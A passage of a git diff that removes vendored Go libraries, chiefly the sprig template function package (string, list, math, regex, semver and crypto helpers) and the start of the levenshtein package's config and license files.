-Dict Functions: - -These are used to manipulate dicts. - - - set: Takes a dict, a key, and a value, and sets that key/value pair in - the dict. `set $dict $key $value`. For convenience, it returns the dict, - even though the dict was modified in place. - - unset: Takes a dict and a key, and deletes that key/value pair from the - dict. `unset $dict $key`. This returns the dict for convenience. - - hasKey: Takes a dict and a key, and returns boolean true if the key is in - the dict. - - pluck: Given a key and one or more maps, get all of the values for that key. - - keys: Get an array of all of the keys in one or more dicts. - - pick: Select just the given keys out of the dict, and return a new dict. - - omit: Return a dict without the given keys. - -Math Functions: - -Integer functions will convert integers of any width to `int64`. If a -string is passed in, functions will attempt to convert with -`strconv.ParseInt(s, 1064)`. If this fails, the value will be treated as 0. - - - add1: Increment an integer by 1 - - add: Sum an arbitrary number of integers - - sub: Subtract the second integer from the first - - div: Divide the first integer by the second - - mod: Module of first integer divided by second - - mul: Multiply integers - - max: Return the biggest of a series of one or more integers - - min: Return the smallest of a series of one or more integers - - biggest: DEPRECATED. Return the biggest of a series of one or more integers - -Crypto Functions: - - - genPrivateKey: Generate a private key for the given cryptosystem. If no - argument is supplied, by default it will generate a private key using - the RSA algorithm. Accepted values are `rsa`, `dsa`, and `ecdsa`. - - derivePassword: Derive a password from the given parameters according to the ["Master Password" algorithm](http://masterpasswordapp.com/algorithm.html) - Given parameters (in order) are: - `counter` (starting with 1), `password_type` (maximum, long, medium, short, basic, or pin), `password`, - `user`, and `site` - -SemVer Functions: - -These functions provide version parsing and comparisons for SemVer 2 version -strings. - - - semver: Parse a semantic version and return a Version object. - - semverCompare: Compare a SemVer range to a particular version. -*/ -package sprig diff --git a/vendor/github.com/Masterminds/sprig/functions.go b/vendor/github.com/Masterminds/sprig/functions.go deleted file mode 100644 index f0d1bc12c1..0000000000 --- a/vendor/github.com/Masterminds/sprig/functions.go +++ /dev/null @@ -1,281 +0,0 @@ -package sprig - -import ( - "errors" - "html/template" - "os" - "path" - "strconv" - "strings" - ttemplate "text/template" - "time" - - util "github.com/aokoli/goutils" - "github.com/huandu/xstrings" -) - -// Produce the function map. -// -// Use this to pass the functions into the template engine: -// -// tpl := template.New("foo").Funcs(sprig.FuncMap())) -// -func FuncMap() template.FuncMap { - return HtmlFuncMap() -} - -// HermeticTextFuncMap returns a 'text/template'.FuncMap with only repeatable functions. -func HermeticTxtFuncMap() ttemplate.FuncMap { - r := TxtFuncMap() - for _, name := range nonhermeticFunctions { - delete(r, name) - } - return r -} - -// HermeticHtmlFuncMap returns an 'html/template'.Funcmap with only repeatable functions. -func HermeticHtmlFuncMap() template.FuncMap { - r := HtmlFuncMap() - for _, name := range nonhermeticFunctions { - delete(r, name) - } - return r -} - -// TextFuncMap returns a 'text/template'.FuncMap -func TxtFuncMap() ttemplate.FuncMap { - return ttemplate.FuncMap(GenericFuncMap()) -} - -// HtmlFuncMap returns an 'html/template'.Funcmap -func HtmlFuncMap() template.FuncMap { - return template.FuncMap(GenericFuncMap()) -} - -// GenericFuncMap returns a copy of the basic function map as a map[string]interface{}. -func GenericFuncMap() map[string]interface{} { - gfm := make(map[string]interface{}, len(genericMap)) - for k, v := range genericMap { - gfm[k] = v - } - return gfm -} - -// These functions are not guaranteed to evaluate to the same result for given input, because they -// refer to the environemnt or global state. -var nonhermeticFunctions = []string{ - // Date functions - "date", - "date_in_zone", - "date_modify", - "now", - "htmlDate", - "htmlDateInZone", - "dateInZone", - "dateModify", - - // Strings - "randAlphaNum", - "randAlpha", - "randAscii", - "randNumeric", - "uuidv4", - - // OS - "env", - "expandenv", -} - -var genericMap = map[string]interface{}{ - "hello": func() string { return "Hello!" }, - - // Date functions - "date": date, - "date_in_zone": dateInZone, - "date_modify": dateModify, - "now": func() time.Time { return time.Now() }, - "htmlDate": htmlDate, - "htmlDateInZone": htmlDateInZone, - "dateInZone": dateInZone, - "dateModify": dateModify, - "ago": dateAgo, - "toDate": toDate, - - // Strings - "abbrev": abbrev, - "abbrevboth": abbrevboth, - "trunc": trunc, - "trim": strings.TrimSpace, - "upper": strings.ToUpper, - "lower": strings.ToLower, - "title": strings.Title, - "untitle": untitle, - "substr": substring, - // Switch order so that "foo" | repeat 5 - "repeat": func(count int, str string) string { return strings.Repeat(str, count) }, - // Deprecated: Use trimAll. - "trimall": func(a, b string) string { return strings.Trim(b, a) }, - // Switch order so that "$foo" | trimall "$" - "trimAll": func(a, b string) string { return strings.Trim(b, a) }, - "trimSuffix": func(a, b string) string { return strings.TrimSuffix(b, a) }, - "trimPrefix": func(a, b string) string { return strings.TrimPrefix(b, a) }, - "nospace": util.DeleteWhiteSpace, - "initials": initials, - "randAlphaNum": randAlphaNumeric, - "randAlpha": randAlpha, - "randAscii": randAscii, - "randNumeric": randNumeric, - "swapcase": util.SwapCase, - "shuffle": xstrings.Shuffle, - "snakecase": xstrings.ToSnakeCase, - "camelcase": xstrings.ToCamelCase, - "wrap": func(l int, s string) string { return util.Wrap(s, l) }, - "wrapWith": func(l int, sep, str string) string { return util.WrapCustom(str, l, sep, true) }, - // Switch order so that "foobar" | contains "foo" - "contains": func(substr string, str string) bool { return strings.Contains(str, substr) }, - "hasPrefix": func(substr string, str string) bool { return strings.HasPrefix(str, substr) }, - "hasSuffix": func(substr string, str string) bool { return strings.HasSuffix(str, substr) }, - "quote": quote, - "squote": squote, - "cat": cat, - "indent": indent, - "nindent": nindent, - "replace": replace, - "plural": plural, - "sha1sum": sha1sum, - "sha256sum": sha256sum, - "toString": strval, - - // Wrap Atoi to stop errors. - "atoi": func(a string) int { i, _ := strconv.Atoi(a); return i }, - "int64": toInt64, - "int": toInt, - "float64": toFloat64, - - //"gt": func(a, b int) bool {return a > b}, - //"gte": func(a, b int) bool {return a >= b}, - //"lt": func(a, b int) bool {return a < b}, - //"lte": func(a, b int) bool {return a <= b}, - - // split "/" foo/bar returns map[int]string{0: foo, 1: bar} - "split": split, - "splitList": func(sep, orig string) []string { return strings.Split(orig, sep) }, - "toStrings": strslice, - - "until": until, - "untilStep": untilStep, - - // VERY basic arithmetic. - "add1": func(i interface{}) int64 { return toInt64(i) + 1 }, - "add": func(i ...interface{}) int64 { - var a int64 = 0 - for _, b := range i { - a += toInt64(b) - } - return a - }, - "sub": func(a, b interface{}) int64 { return toInt64(a) - toInt64(b) }, - "div": func(a, b interface{}) int64 { return toInt64(a) / toInt64(b) }, - "mod": func(a, b interface{}) int64 { return toInt64(a) % toInt64(b) }, - "mul": func(a interface{}, v ...interface{}) int64 { - val := toInt64(a) - for _, b := range v { - val = val * toInt64(b) - } - return val - }, - "biggest": max, - "max": max, - "min": min, - "ceil": ceil, - "floor": floor, - "round": round, - - // string slices. Note that we reverse the order b/c that's better - // for template processing. - "join": join, - "sortAlpha": sortAlpha, - - // Defaults - "default": dfault, - "empty": empty, - "coalesce": coalesce, - "compact": compact, - "toJson": toJson, - "toPrettyJson": toPrettyJson, - "ternary": ternary, - - // Reflection - "typeOf": typeOf, - "typeIs": typeIs, - "typeIsLike": typeIsLike, - "kindOf": kindOf, - "kindIs": kindIs, - - // OS: - "env": func(s string) string { return os.Getenv(s) }, - "expandenv": func(s string) string { return os.ExpandEnv(s) }, - - // File Paths: - "base": path.Base, - "dir": path.Dir, - "clean": path.Clean, - "ext": path.Ext, - "isAbs": path.IsAbs, - - // Encoding: - "b64enc": base64encode, - "b64dec": base64decode, - "b32enc": base32encode, - "b32dec": base32decode, - - // Data Structures: - "tuple": list, // FIXME: with the addition of append/prepend these are no longer immutable. - "list": list, - "dict": dict, - "set": set, - "unset": unset, - "hasKey": hasKey, - "pluck": pluck, - "keys": keys, - "pick": pick, - "omit": omit, - "merge": merge, - - "append": push, "push": push, - "prepend": prepend, - "first": first, - "rest": rest, - "last": last, - "initial": initial, - "reverse": reverse, - "uniq": uniq, - "without": without, - "has": has, - - // Crypto: - "genPrivateKey": generatePrivateKey, - "derivePassword": derivePassword, - "buildCustomCert": buildCustomCertificate, - "genCA": generateCertificateAuthority, - "genSelfSignedCert": generateSelfSignedCertificate, - "genSignedCert": generateSignedCertificate, - - // UUIDs: - "uuidv4": uuidv4, - - // SemVer: - "semver": semver, - "semverCompare": semverCompare, - - // Flow Control: - "fail": func(msg string) (string, error) { return "", errors.New(msg) }, - - // Regex - "regexMatch": regexMatch, - "regexFindAll": regexFindAll, - "regexFind": regexFind, - "regexReplaceAll": regexReplaceAll, - "regexReplaceAllLiteral": regexReplaceAllLiteral, - "regexSplit": regexSplit, -} diff --git a/vendor/github.com/Masterminds/sprig/glide.lock b/vendor/github.com/Masterminds/sprig/glide.lock deleted file mode 100644 index 34afeb9c37..0000000000 --- a/vendor/github.com/Masterminds/sprig/glide.lock +++ /dev/null @@ -1,33 +0,0 @@ -hash: 770b6a1132b743dadf6a0bb5fb8bf7083b1a5209f6d6c07826234ab2a97aade9 -updated: 2018-04-02T23:08:56.947456531+02:00 -imports: -- name: github.com/aokoli/goutils - version: 9c37978a95bd5c709a15883b6242714ea6709e64 -- name: github.com/google/uuid - version: 064e2069ce9c359c118179501254f67d7d37ba24 -- name: github.com/huandu/xstrings - version: 3959339b333561bf62a38b424fd41517c2c90f40 -- name: github.com/imdario/mergo - version: 7fe0c75c13abdee74b09fcacef5ea1c6bba6a874 -- name: github.com/Masterminds/goutils - version: 3391d3790d23d03408670993e957e8f408993c34 -- name: github.com/Masterminds/semver - version: 59c29afe1a994eacb71c833025ca7acf874bb1da -- name: github.com/stretchr/testify - version: e3a8ff8ce36581f87a15341206f205b1da467059 - subpackages: - - assert -- name: golang.org/x/crypto - version: d172538b2cfce0c13cee31e647d0367aa8cd2486 - subpackages: - - pbkdf2 - - scrypt -testImports: -- name: github.com/davecgh/go-spew - version: 5215b55f46b2b919f50a1df0eaa5886afe4e3b3d - subpackages: - - spew -- name: github.com/pmezard/go-difflib - version: d8ed2627bdf02c080bf22230dbb337003b7aba2d - subpackages: - - difflib diff --git a/vendor/github.com/Masterminds/sprig/glide.yaml b/vendor/github.com/Masterminds/sprig/glide.yaml deleted file mode 100644 index 772ba91344..0000000000 --- a/vendor/github.com/Masterminds/sprig/glide.yaml +++ /dev/null @@ -1,15 +0,0 @@ -package: github.com/Masterminds/sprig -import: -- package: github.com/Masterminds/goutils - version: ^1.0.0 -- package: github.com/google/uuid - version: ^0.2 -- package: golang.org/x/crypto - subpackages: - - scrypt -- package: github.com/Masterminds/semver - version: v1.2.2 -- package: github.com/stretchr/testify -- package: github.com/imdario/mergo - version: ~0.2.2 -- package: github.com/huandu/xstrings diff --git a/vendor/github.com/Masterminds/sprig/list.go b/vendor/github.com/Masterminds/sprig/list.go deleted file mode 100644 index 1860549a94..0000000000 --- a/vendor/github.com/Masterminds/sprig/list.go +++ /dev/null @@ -1,259 +0,0 @@ -package sprig - -import ( - "fmt" - "reflect" - "sort" -) - -// Reflection is used in these functions so that slices and arrays of strings, -// ints, and other types not implementing []interface{} can be worked with. -// For example, this is useful if you need to work on the output of regexs. - -func list(v ...interface{}) []interface{} { - return v -} - -func push(list interface{}, v interface{}) []interface{} { - tp := reflect.TypeOf(list).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(list) - - l := l2.Len() - nl := make([]interface{}, l) - for i := 0; i < l; i++ { - nl[i] = l2.Index(i).Interface() - } - - return append(nl, v) - - default: - panic(fmt.Sprintf("Cannot push on type %s", tp)) - } -} - -func prepend(list interface{}, v interface{}) []interface{} { - //return append([]interface{}{v}, list...) - - tp := reflect.TypeOf(list).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(list) - - l := l2.Len() - nl := make([]interface{}, l) - for i := 0; i < l; i++ { - nl[i] = l2.Index(i).Interface() - } - - return append([]interface{}{v}, nl...) - - default: - panic(fmt.Sprintf("Cannot prepend on type %s", tp)) - } -} - -func last(list interface{}) interface{} { - tp := reflect.TypeOf(list).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(list) - - l := l2.Len() - if l == 0 { - return nil - } - - return l2.Index(l - 1).Interface() - default: - panic(fmt.Sprintf("Cannot find last on type %s", tp)) - } -} - -func first(list interface{}) interface{} { - tp := reflect.TypeOf(list).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(list) - - l := l2.Len() - if l == 0 { - return nil - } - - return l2.Index(0).Interface() - default: - panic(fmt.Sprintf("Cannot find first on type %s", tp)) - } -} - -func rest(list interface{}) []interface{} { - tp := reflect.TypeOf(list).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(list) - - l := l2.Len() - if l == 0 { - return nil - } - - nl := make([]interface{}, l-1) - for i := 1; i < l; i++ { - nl[i-1] = l2.Index(i).Interface() - } - - return nl - default: - panic(fmt.Sprintf("Cannot find rest on type %s", tp)) - } -} - -func initial(list interface{}) []interface{} { - tp := reflect.TypeOf(list).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(list) - - l := l2.Len() - if l == 0 { - return nil - } - - nl := make([]interface{}, l-1) - for i := 0; i < l-1; i++ { - nl[i] = l2.Index(i).Interface() - } - - return nl - default: - panic(fmt.Sprintf("Cannot find initial on type %s", tp)) - } -} - -func sortAlpha(list interface{}) []string { - k := reflect.Indirect(reflect.ValueOf(list)).Kind() - switch k { - case reflect.Slice, reflect.Array: - a := strslice(list) - s := sort.StringSlice(a) - s.Sort() - return s - } - return []string{strval(list)} -} - -func reverse(v interface{}) []interface{} { - tp := reflect.TypeOf(v).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(v) - - l := l2.Len() - // We do not sort in place because the incoming array should not be altered. - nl := make([]interface{}, l) - for i := 0; i < l; i++ { - nl[l-i-1] = l2.Index(i).Interface() - } - - return nl - default: - panic(fmt.Sprintf("Cannot find reverse on type %s", tp)) - } -} - -func compact(list interface{}) []interface{} { - tp := reflect.TypeOf(list).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(list) - - l := l2.Len() - nl := []interface{}{} - var item interface{} - for i := 0; i < l; i++ { - item = l2.Index(i).Interface() - if !empty(item) { - nl = append(nl, item) - } - } - - return nl - default: - panic(fmt.Sprintf("Cannot compact on type %s", tp)) - } -} - -func uniq(list interface{}) []interface{} { - tp := reflect.TypeOf(list).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(list) - - l := l2.Len() - dest := []interface{}{} - var item interface{} - for i := 0; i < l; i++ { - item = l2.Index(i).Interface() - if !inList(dest, item) { - dest = append(dest, item) - } - } - - return dest - default: - panic(fmt.Sprintf("Cannot find uniq on type %s", tp)) - } -} - -func inList(haystack []interface{}, needle interface{}) bool { - for _, h := range haystack { - if reflect.DeepEqual(needle, h) { - return true - } - } - return false -} - -func without(list interface{}, omit ...interface{}) []interface{} { - tp := reflect.TypeOf(list).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(list) - - l := l2.Len() - res := []interface{}{} - var item interface{} - for i := 0; i < l; i++ { - item = l2.Index(i).Interface() - if !inList(omit, item) { - res = append(res, item) - } - } - - return res - default: - panic(fmt.Sprintf("Cannot find without on type %s", tp)) - } -} - -func has(needle interface{}, haystack interface{}) bool { - tp := reflect.TypeOf(haystack).Kind() - switch tp { - case reflect.Slice, reflect.Array: - l2 := reflect.ValueOf(haystack) - var item interface{} - l := l2.Len() - for i := 0; i < l; i++ { - item = l2.Index(i).Interface() - if reflect.DeepEqual(needle, item) { - return true - } - } - - return false - default: - panic(fmt.Sprintf("Cannot find has on type %s", tp)) - } -} diff --git a/vendor/github.com/Masterminds/sprig/numeric.go b/vendor/github.com/Masterminds/sprig/numeric.go deleted file mode 100644 index 209c62e53a..0000000000 --- a/vendor/github.com/Masterminds/sprig/numeric.go +++ /dev/null @@ -1,159 +0,0 @@ -package sprig - -import ( - "math" - "reflect" - "strconv" -) - -// toFloat64 converts 64-bit floats -func toFloat64(v interface{}) float64 { - if str, ok := v.(string); ok { - iv, err := strconv.ParseFloat(str, 64) - if err != nil { - return 0 - } - return iv - } - - val := reflect.Indirect(reflect.ValueOf(v)) - switch val.Kind() { - case reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Int: - return float64(val.Int()) - case reflect.Uint8, reflect.Uint16, reflect.Uint32: - return float64(val.Uint()) - case reflect.Uint, reflect.Uint64: - return float64(val.Uint()) - case reflect.Float32, reflect.Float64: - return val.Float() - case reflect.Bool: - if val.Bool() == true { - return 1 - } - return 0 - default: - return 0 - } -} - -func toInt(v interface{}) int { - //It's not optimal. Bud I don't want duplicate toInt64 code. - return int(toInt64(v)) -} - -// toInt64 converts integer types to 64-bit integers -func toInt64(v interface{}) int64 { - if str, ok := v.(string); ok { - iv, err := strconv.ParseInt(str, 10, 64) - if err != nil { - return 0 - } - return iv - } - - val := reflect.Indirect(reflect.ValueOf(v)) - switch val.Kind() { - case reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Int: - return val.Int() - case reflect.Uint8, reflect.Uint16, reflect.Uint32: - return int64(val.Uint()) - case reflect.Uint, reflect.Uint64: - tv := val.Uint() - if tv <= math.MaxInt64 { - return int64(tv) - } - // TODO: What is the sensible thing to do here? - return math.MaxInt64 - case reflect.Float32, reflect.Float64: - return int64(val.Float()) - case reflect.Bool: - if val.Bool() == true { - return 1 - } - return 0 - default: - return 0 - } -} - -func max(a interface{}, i ...interface{}) int64 { - aa := toInt64(a) - for _, b := range i { - bb := toInt64(b) - if bb > aa { - aa = bb - } - } - return aa -} - -func min(a interface{}, i ...interface{}) int64 { - aa := toInt64(a) - for _, b := range i { - bb := toInt64(b) - if bb < aa { - aa = bb - } - } - return aa -} - -func until(count int) []int { - step := 1 - if count < 0 { - step = -1 - } - return untilStep(0, count, step) -} - -func untilStep(start, stop, step int) []int { - v := []int{} - - if stop < start { - if step >= 0 { - return v - } - for i := start; i > stop; i += step { - v = append(v, i) - } - return v - } - - if step <= 0 { - return v - } - for i := start; i < stop; i += step { - v = append(v, i) - } - return v -} - -func floor(a interface{}) float64 { - aa := toFloat64(a) - return math.Floor(aa) -} - -func ceil(a interface{}) float64 { - aa := toFloat64(a) - return math.Ceil(aa) -} - -func round(a interface{}, p int, r_opt ...float64) float64 { - roundOn := .5 - if len(r_opt) > 0 { - roundOn = r_opt[0] - } - val := toFloat64(a) - places := toFloat64(p) - - var round float64 - pow := math.Pow(10, places) - digit := pow * val - _, div := math.Modf(digit) - if div >= roundOn { - round = math.Ceil(digit) - } else { - round = math.Floor(digit) - } - return round / pow -} \ No newline at end of file diff --git a/vendor/github.com/Masterminds/sprig/reflect.go b/vendor/github.com/Masterminds/sprig/reflect.go deleted file mode 100644 index 8a65c132f0..0000000000 --- a/vendor/github.com/Masterminds/sprig/reflect.go +++ /dev/null @@ -1,28 +0,0 @@ -package sprig - -import ( - "fmt" - "reflect" -) - -// typeIs returns true if the src is the type named in target. -func typeIs(target string, src interface{}) bool { - return target == typeOf(src) -} - -func typeIsLike(target string, src interface{}) bool { - t := typeOf(src) - return target == t || "*"+target == t -} - -func typeOf(src interface{}) string { - return fmt.Sprintf("%T", src) -} - -func kindIs(target string, src interface{}) bool { - return target == kindOf(src) -} - -func kindOf(src interface{}) string { - return reflect.ValueOf(src).Kind().String() -} diff --git a/vendor/github.com/Masterminds/sprig/regex.go b/vendor/github.com/Masterminds/sprig/regex.go deleted file mode 100644 index 9fe033a6bd..0000000000 --- a/vendor/github.com/Masterminds/sprig/regex.go +++ /dev/null @@ -1,35 +0,0 @@ -package sprig - -import ( - "regexp" -) - -func regexMatch(regex string, s string) bool { - match, _ := regexp.MatchString(regex, s) - return match -} - -func regexFindAll(regex string, s string, n int) []string { - r := regexp.MustCompile(regex) - return r.FindAllString(s, n) -} - -func regexFind(regex string, s string) string { - r := regexp.MustCompile(regex) - return r.FindString(s) -} - -func regexReplaceAll(regex string, s string, repl string) string { - r := regexp.MustCompile(regex) - return r.ReplaceAllString(s, repl) -} - -func regexReplaceAllLiteral(regex string, s string, repl string) string { - r := regexp.MustCompile(regex) - return r.ReplaceAllLiteralString(s, repl) -} - -func regexSplit(regex string, s string, n int) []string { - r := regexp.MustCompile(regex) - return r.Split(s, n) -} \ No newline at end of file diff --git a/vendor/github.com/Masterminds/sprig/semver.go b/vendor/github.com/Masterminds/sprig/semver.go deleted file mode 100644 index c2bf8a1fdf..0000000000 --- a/vendor/github.com/Masterminds/sprig/semver.go +++ /dev/null @@ -1,23 +0,0 @@ -package sprig - -import ( - sv2 "github.com/Masterminds/semver" -) - -func semverCompare(constraint, version string) (bool, error) { - c, err := sv2.NewConstraint(constraint) - if err != nil { - return false, err - } - - v, err := sv2.NewVersion(version) - if err != nil { - return false, err - } - - return c.Check(v), nil -} - -func semver(version string) (*sv2.Version, error) { - return sv2.NewVersion(version) -} diff --git a/vendor/github.com/Masterminds/sprig/strings.go b/vendor/github.com/Masterminds/sprig/strings.go deleted file mode 100644 index f6afa2ff9e..0000000000 --- a/vendor/github.com/Masterminds/sprig/strings.go +++ /dev/null @@ -1,201 +0,0 @@ -package sprig - -import ( - "encoding/base32" - "encoding/base64" - "fmt" - "reflect" - "strconv" - "strings" - - util "github.com/aokoli/goutils" -) - -func base64encode(v string) string { - return base64.StdEncoding.EncodeToString([]byte(v)) -} - -func base64decode(v string) string { - data, err := base64.StdEncoding.DecodeString(v) - if err != nil { - return err.Error() - } - return string(data) -} - -func base32encode(v string) string { - return base32.StdEncoding.EncodeToString([]byte(v)) -} - -func base32decode(v string) string { - data, err := base32.StdEncoding.DecodeString(v) - if err != nil { - return err.Error() - } - return string(data) -} - -func abbrev(width int, s string) string { - if width < 4 { - return s - } - r, _ := util.Abbreviate(s, width) - return r -} - -func abbrevboth(left, right int, s string) string { - if right < 4 || left > 0 && right < 7 { - return s - } - r, _ := util.AbbreviateFull(s, left, right) - return r -} -func initials(s string) string { - // Wrap this just to eliminate the var args, which templates don't do well. - return util.Initials(s) -} - -func randAlphaNumeric(count int) string { - // It is not possible, it appears, to actually generate an error here. - r, _ := util.RandomAlphaNumeric(count) - return r -} - -func randAlpha(count int) string { - r, _ := util.RandomAlphabetic(count) - return r -} - -func randAscii(count int) string { - r, _ := util.RandomAscii(count) - return r -} - -func randNumeric(count int) string { - r, _ := util.RandomNumeric(count) - return r -} - -func untitle(str string) string { - return util.Uncapitalize(str) -} - -func quote(str ...interface{}) string { - out := make([]string, len(str)) - for i, s := range str { - out[i] = fmt.Sprintf("%q", strval(s)) - } - return strings.Join(out, " ") -} - -func squote(str ...interface{}) string { - out := make([]string, len(str)) - for i, s := range str { - out[i] = fmt.Sprintf("'%v'", s) - } - return strings.Join(out, " ") -} - -func cat(v ...interface{}) string { - r := strings.TrimSpace(strings.Repeat("%v ", len(v))) - return fmt.Sprintf(r, v...) -} - -func indent(spaces int, v string) string { - pad := strings.Repeat(" ", spaces) - return pad + strings.Replace(v, "\n", "\n"+pad, -1) -} - -func nindent(spaces int, v string) string { - return "\n" + indent(spaces, v) -} - -func replace(old, new, src string) string { - return strings.Replace(src, old, new, -1) -} - -func plural(one, many string, count int) string { - if count == 1 { - return one - } - return many -} - -func strslice(v interface{}) []string { - switch v := v.(type) { - case []string: - return v - case []interface{}: - l := len(v) - b := make([]string, l) - for i := 0; i < l; i++ { - b[i] = strval(v[i]) - } - return b - default: - val := reflect.ValueOf(v) - switch val.Kind() { - case reflect.Array, reflect.Slice: - l := val.Len() - b := make([]string, l) - for i := 0; i < l; i++ { - b[i] = strval(val.Index(i).Interface()) - } - return b - default: - return []string{strval(v)} - } - } -} - -func strval(v interface{}) string { - switch v := v.(type) { - case string: - return v - case []byte: - return string(v) - case error: - return v.Error() - case fmt.Stringer: - return v.String() - default: - return fmt.Sprintf("%v", v) - } -} - -func trunc(c int, s string) string { - if len(s) <= c { - return s - } - return s[0:c] -} - -func join(sep string, v interface{}) string { - return strings.Join(strslice(v), sep) -} - -func split(sep, orig string) map[string]string { - parts := strings.Split(orig, sep) - res := make(map[string]string, len(parts)) - for i, v := range parts { - res["_"+strconv.Itoa(i)] = v - } - return res -} - -// substring creates a substring of the given string. -// -// If start is < 0, this calls string[:length]. -// -// If start is >= 0 and length < 0, this calls string[start:] -// -// Otherwise, this calls string[start, length]. -func substring(start, length int, s string) string { - if start < 0 { - return s[:length] - } - if length < 0 { - return s[start:] - } - return s[start:length] -} diff --git a/vendor/github.com/agext/levenshtein/.gitignore b/vendor/github.com/agext/levenshtein/.gitignore deleted file mode 100644 index 4473da19b2..0000000000 --- a/vendor/github.com/agext/levenshtein/.gitignore +++ /dev/null @@ -1,53 +0,0 @@ -# Ignore docs files -_gh_pages -_site - -# Ignore temporary files -README.html -coverage.out -.tmp - -# Numerous always-ignore extensions -*.diff -*.err -*.log -*.orig -*.rej -*.swo -*.swp -*.vi -*.zip -*~ - -# OS or Editor folders -._* -.cache -.DS_Store -.idea -.project -.settings -.tmproj -*.esproj -*.sublime-project -*.sublime-workspace -nbproject -Thumbs.db - -# Komodo -.komodotools -*.komodoproject - -# SCSS-Lint -scss-lint-report.xml - -# grunt-contrib-sass cache -.sass-cache - -# Jekyll metadata -docs/.jekyll-metadata - -# Folders to ignore -.build -.test -bower_components -node_modules diff --git a/vendor/github.com/agext/levenshtein/.travis.yml b/vendor/github.com/agext/levenshtein/.travis.yml deleted file mode 100644 index 68d38816fc..0000000000 --- a/vendor/github.com/agext/levenshtein/.travis.yml +++ /dev/null @@ -1,30 +0,0 @@ -language: go -sudo: false -matrix: - fast_finish: true - include: - - go: 1.14.x - env: TEST_METHOD=goveralls - - go: 1.13.x - - go: 1.12.x - - go: 1.11.x - - go: 1.10.x - - go: tip - - go: 1.9.x - - go: 1.8.x - - go: 1.7.x - - go: 1.6.x - - go: 1.5.x - allow_failures: - - go: tip - - go: 1.11.x - - go: 1.10.x - - go: 1.9.x - - go: 1.8.x - - go: 1.7.x - - go: 1.6.x - - go: 1.5.x -script: ./test.sh $TEST_METHOD -notifications: - email: - on_success: never diff --git a/vendor/github.com/agext/levenshtein/DCO b/vendor/github.com/agext/levenshtein/DCO deleted file mode 100644 index 716561d5d2..0000000000 --- a/vendor/github.com/agext/levenshtein/DCO +++ /dev/null @@ -1,36 +0,0 @@ -Developer Certificate of Origin -Version 1.1 - -Copyright (C) 2004, 2006 The Linux Foundation and its contributors. -660 York Street, Suite 102, -San Francisco, CA 94110 USA - -Everyone is permitted to copy and distribute verbatim copies of this -license document, but changing it is not allowed. - - -Developer's Certificate of Origin 1.1 - -By making a contribution to this project, I certify that: - -(a) The contribution was created in whole or in part by me and I - have the right to submit it under the open source license - indicated in the file; or - -(b) The contribution is based upon previous work that, to the best - of my knowledge, is covered under an appropriate open source - license and I have the right under that license to submit that - work with modifications, whether created in whole or in part - by me, under the same open source license (unless I am - permitted to submit under a different license), as indicated - in the file; or - -(c) The contribution was provided directly to me by some other - person who certified (a), (b) or (c) and I have not modified - it. - -(d) I understand and agree that this project and the contribution - are public and that a record of the contribution (including all - personal information I submit with it, including my sign-off) is - maintained indefinitely and may be redistributed consistent with - this project or the open source license(s) involved. diff --git a/vendor/github.com/agext/levenshtein/LICENSE b/vendor/github.com/agext/levenshtein/LICENSE deleted file mode 100644 index 261eeb9e9f..0000000000 --- a/vendor/github.com/agext/levenshtein/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, 